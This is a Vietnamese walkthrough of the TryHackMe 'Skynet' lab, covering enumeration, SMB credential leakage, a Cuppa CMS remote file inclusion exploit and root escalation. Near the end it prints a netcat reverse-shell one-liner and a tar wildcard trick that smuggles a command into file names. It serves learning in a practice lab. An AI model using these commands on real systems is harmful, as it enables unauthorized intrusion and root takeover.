Trong bài viết này, mình sẽ writeup về thử thách Skynet trong Tryhackme.
Tóm tắt Writeup
- Quét các cổng bằng nmap
- Sử dụng GoBuster để liệt kê các thư mục
- Thử nghiệm với SMBMap để tìm Samba
- Sử dụng thông tin đăng nhập kiếm được để đọc email
- Khai thác lỗ hổng CMS RFI
- Khai thác các ký tự đại diện tar để leo thang đặc quyền
Một chút Writeup về Skynet
Đầu tiên chúng ta hãy bắt đầu bằng cách liệt kê càng nhiều port càng tốt, bằng cách sử dụng nmap.
Mình thấy có một máy chủ web đang chạy, khi truy cập thì ra một trang web như thế này:
Tiếp theo, mình sẽ sử dụng GoBuster để định vị bất kỳ thư mục nào tìm được.
Đôi khi, chúng ta tự tin rằng có thứ gì đó sẽ được tìm thấy nhưng lại lãng phí quá nhiều thời gian cho nó. Thông thường, các thử thách như thế này sẽ bố trí những lỗ thỏ khiến bạn khó chịu. Bạn chỉ cần nghỉ giải lao một chút nếu gặp khó khăn và thử các cách tiếp cận khác nhau là ổn nhé, mặc dù hơi tốn thời gian.
Quay lại chủ đề, chúng ta thấy rằng các cổng pop3 và imap đã mở, bạn không biết có thể tìm thấy gì nữa không? Bình tĩnh chút nào, nhớ những gì mình đã viết ở trên trước chứ.
SMBMap cho phép người dùng liệt kê các ổ đĩ được chia sẻ bằng samba trên toàn bộ domain. Chương trình này có sẵn trên tất cả các máy Kali Linux. Nếu bạn không có thời gian hoặc tài nguyên để thiết lập máy Kali Linux của riêng mình, thì bạn có thể sử dụng Kali Linux trong trình duyệt tại đây.
Quá trình quét cho thấy một chia sẻ được gọi là “anonymous” có quyền đọc. Cùng kiểm tra xem nó có gì nào.
Log1.txt chứa các mật khẩu và có một chia sẻ nhỏ gọi là miledyson. Chúng ta có một số thông tin đăng nhập tiềm năng ở đây … Nhưng SSH đã bị vô hiệu hóa, chịu rồi.
Nhưng, cánh cửa này đóng lại sẽ có cánh cửa khác mở ra. Một bản quét GoBuster trước đó đã tìm được SquirrelMail.
Sử dụn tài khoản mật khẩu trên và đọc email cho thấy có một thiết lập lại mật khẩu Samba.
Tiếp theo đăng nhập vào ổ đĩa chia sẻ của Miles và xem chúng ta tìm được gì nào. Bạn sẽ thấy một tệp cung cấp cho bạn thông tin về CMS mới.
Truy cập CMS sẽ thấy trang Miles Dysons Personal :v.
Nếu bạn sử dụng GoBuster trên thư mục /45kra24zxs28v3yd/, bạn sẽ thông tin trang /administrator. Tada, chúng ta tìm được Cuppa CMS.
Nhìn vào mã nguồn sẽ cho bạn dấu hiệu về phiên bản của CMS. Sau một vài lần search google, thì mình tìm thấy cách khai thác công khai nó: https://www.exploit-db.com/exploits/25971
Lấy một tập lệnh shell và thay đổi IP thành IP tun0 của bạn (ifconfig), lưu trữ cục bộ bằng Python, sử dụng netcat để lắng nghe session và sau đó đưa shell này lên máy chủ web.
Ảnh bên dưới sẽ giải thích các bước chính xác để có được shell đặc quyền thấp bằng cách khai thác lỗ hổng RFI! Bạn có thể tải reverse shell PHP từ PentestMonkey.
Trong code CMS, có một đoạn code PHP bao gồm tệp (File include):
<
Tuy nhiên, điều này cũng cho phép ta bao gồm các shell của riêng mình (hoặc thậm chí bao gồm một tệp trên hệ thống như /etc/passwd). Để có giải thích chi tiết hơn, bạn vui lòng đọc tài liệu này.
Bây giờ chúng ta đã có shell, vậy nên có thể lấy user flag. Bước tiếp theo là nâng cấp đặc quyền của chúng ta để root.
Khi liệt kê máy Linux, mình thấy có một số cronjob đang chạy.
Vì vậy, tệp /home/milesdyson/backups/backup.sh đang được gọi mỗi phút. Kiểm tra tệp này chút nào:
Lại thêm một shell nữa, truy cập đến thư mục /var/www/html và tạo một bản sao lưu của mọi thứ trong thư mục.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip>
1234 >/tmp/f" > shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"
Sau đó, mở netcat và bạn sẽ nhận được một shell dưới dạng root.
Bạn cũng có thể đọc thêm cách giải bài Shodan trên Tryhackme tại đây.